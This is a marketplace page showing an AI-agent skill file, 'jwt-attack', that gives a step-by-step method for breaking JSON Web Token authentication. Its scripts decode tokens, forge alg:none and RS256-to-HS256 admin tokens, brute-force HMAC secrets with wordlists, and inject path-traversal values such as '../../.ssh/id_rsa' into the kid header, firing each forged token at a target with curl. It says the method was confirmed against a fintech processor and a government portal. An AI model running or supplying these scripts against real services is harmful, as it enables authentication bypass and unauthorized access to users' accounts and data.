Skip to main content

jwt-attack

Decode, forge, brute JWTs when Bearer auth header is seen.

Source facts

Repository
uphiago/recon-skills
Last source activity
July 30, 2026 at 00:23
Detected SKILL.md language
English
Stars
1,306
Forks
218

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
jwt-attack
description
Decode, forge, brute JWTs when Bearer auth header is seen.
version
1.1.0
revision_date
2026-07-25T00:00:00.000Z
license
MIT
platforms
["linux"]
compatibility
Requires curl, python3
tags
["recon","JWT","token","forge","brute-force"]
category
recon
related_skills
["api-noauth-hunt","js-secrets-extraction","firebase-supabase-attack"]
# JWT Attack Skill Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source). ## When to Use - API uses `Authorization: Bearer eyJ...` headers. - JavaScript bundles contain `eyJ...` token patterns. - After `js-secrets-extraction` finds JWT tokens. - After `api-noauth-hunt` needs token forging for auth bypass. - Cookies contain `jwt=`, `token=`, or `session=` with base64-encoded values. ## Prerequisites - `terminal` with curl, python3. - JWT token to attack (from recon). - For brute force: `hashcat` or `john` for high-speed cracking (optional). ## How to Run ```bash # Decode JWT without verification echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c " import sys, base64, json parts = sys.stdin.read().strip().split('.') if len(parts) == 3: for i, part in enumerate(parts[:2]): try: padded = part + '=' * (4 - len(part) % 4) decoded = base64.urlsafe_b64decode(padded) print(f'--- Part {i} ---') print(json.dumps(json.loads(decoded), indent=2)) except: print(f'Part {i}: {part[:50]}... (non-JSON)') " # Test alg:none attack python3 -c " import base64, json header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode() payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode() print(f'{header}.{payload}.') " ``` ## Quick Reference | Attack | Prerequisites | Impact | Difficulty | |--------|-------------|--------|------------| | alg:none | Server accepts `alg: "none"` | Full admin access | Easy | | RS256→HS256 | JWT signed with RS256 | Full admin access | Medium (need public key) | | Weak HMAC secret | HS256 with weak secret | Full admin access | Medium (need to crack) | | kid injection | Server trusts `kid` header | RCE/LFI | Hard | | Expired token reuse | Server doesn't validate `exp` | Session persistence | Trivial | | Hardcoded JWT | JWT found in JS/source | Whatever the JWT grants | Trivial | ## Procedure ### Phase 1 — JWT Decode & Analysis ```bash JWT="$1" echo "[*] JWT analysis" # Split and decode HEADER=$(echo "$JWT" | cut -d. -f1) PAYLOAD=$(echo "$JWT" | cut -d. -f2) SIGNATURE=$(echo "$JWT" | cut -d. -f3) echo "Header:" echo "$HEADER" | python3 -c " import sys, base64, json padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4) try: d = json.loads(base64.urlsafe_b64decode(padded)) print(json.dumps(d, indent=2)) except: print(' (not valid base64 JSON)') " echo "Payload:" echo "$PAYLOAD" | python3 -c " import sys, base64, json padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4) try: d = json.loads(base64.urlsafe_b64decode(padded)) for k, v in d.items(): if k in ('exp', 'iat', 'nbf'): from datetime import datetime, timezone dt = datetime.fromtimestamp(v, tz=timezone.utc) print(f' {k}: {v} ({dt})') else: print(f' {k}: {v}') except: print(' (not valid base64 JSON)') " # Check expiration EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c " import sys, base64, json padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4) d = json.loads(base64.urlsafe_b64decode(padded)) print(d.get('exp', 'no-expiry')) " 2>/dev/null) if [[ "$EXP" == "no-expiry" ]]; then echo "[!] Token has NO expiration — permanent access" else NOW=$(date +%s) if [[ "$EXP" -gt "$NOW" ]]; then REMAINING=$((EXP - NOW)) DAYS=$((REMAINING / 86400)) echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))" else echo "[-] Token EXPIRED $(date -d @$EXP)" fi fi ``` ### Phase 2 — alg:none Attack ```bash TARGET="$1" ENDPOINT="$2" # Authenticated endpoint to test ORIGINAL_JWT="$3" # Any valid JWT to extract claims from echo "[*] alg:none attack" # Extract payload from original JWT PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2) # Forge token with alg=none FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=') FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}." echo " Forged token: ${FORGED_TOKEN:0:80}..." # Test RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \ -H "Authorization: Bearer $FORGED_TOKEN" \ -o /dev/null -w "%{http_code}" 2>/dev/null) if [[ "$RESP" == "200" ]]; then echo " [CRITICAL] alg:none ACCEPTED — full admin access!" else echo " [-] alg:none rejected (HTTP $RESP)" fi ``` ### Phase 3 — RS256→HS256 Key Confusion ```bash TARGET="$1" ENDPOINT="$2" PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak echo "[*] RS256→HS256 key confusion attack" # Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret) JWT_TOOL=$(python3 -c " import jwt, sys # Read public key with open('$PUBLIC_KEY_FILE') as f: pubkey = f.read() # Forge admin token payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)} try: forged = jwt.encode(payload, pubkey, algorithm='HS256') print(forged) except Exception as e: print(f'Error: {e}', file=sys.stderr) " 2>/dev/null) if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then echo " Forged token: ${JWT_TOOL:0:80}..." RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \ -H "Authorization: Bearer $JWT_TOOL" \ -o /dev/null -w "%{http_code}" 2>/dev/null) [[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!" else echo " [-] Forging failed (check public key format)" fi ``` ### Phase 4 — Weak HMAC Secret Brute Force ```bash JWT="$1" WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}" echo "[*] Quick HS256 secret brute force" # Fast Python brute force (top 1000 passwords) echo "$JWT" | python3 -c " import sys, hmac, hashlib, base64, json jwt = sys.stdin.read().strip() header_b64, payload_b64, sig_b64 = jwt.split('.') header = json.loads(base64.urlsafe_b64decode(header_b64 + '==')) if header.get('alg') != 'HS256': print('[-] Not HS256 — algorithm is:', header.get('alg')) sys.exit(0) # Top secrets to try secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme', 'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token', 'app_secret', 'secret_key', 'auth_token', 'private_key'] for secret in secrets: sig = base64.urlsafe_b64encode( hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest() ).rstrip(b'=').decode() if sig == sig_b64: print(f'[CRACKED] Secret: {secret}') break else: print('[-] Not in top-15 list') # Also try from wordlist (first 5000 lines) try: with open('$WORDLIST', 'rb') as f: for i, line in enumerate(f): if i >= 5000: break secret = line.strip() sig = base64.urlsafe_b64encode( hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest() ).rstrip(b'=').decode() if sig == sig_b64: print(f'[CRACKED from wordlist] Secret: {secret.decode()}') break else: print('[-] Not in first 5000 wordlist entries') except FileNotFoundError: print('[-] Wordlist not found at $WORDLIST') " ``` ### Phase 5 — Kid Injection (path traversal / SQLi) ```bash TARGET="$1" ENDPOINT="$2" echo "[*] kid header injection test" # Test path traversal in kid header for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=') FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA" RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \ -H "Authorization: Bearer $FORGED_TOKEN" \ -o /dev/null -w "%{http_code}" 2>/dev/null) [[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)" sleep 0.3 done ``` ## Pitfalls - **alg:none is rare.** Most JWT libraries reject it by default since 2017. But legacy apps exist. - **RS256→HS256 requires the PUBLIC key.** This is usually available at `/.well-known/jwks.json` or in JS bundles. - **Brute force is slow in Python.** Use `hashcat -m 16500` for HS256 or `john` for production-speed cracking. - **Laravel Passport uses `jti` validation.** Even if you forge a valid JWT, Passport checks if the `jti` (JWT ID) exists in the database. - **Auth0/Firebase use JWKS.** The server fetches the public key from `/.well-known/jwks.json` — alg:none won't work because the server always verifies with the public key. ## Verification - alg:none: The forged token MUST access a protected resource returning HTTP 200. - RS256→HS256: The forged token MUST pass server verification using the public key as HMAC secret.
View on GitHub
This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub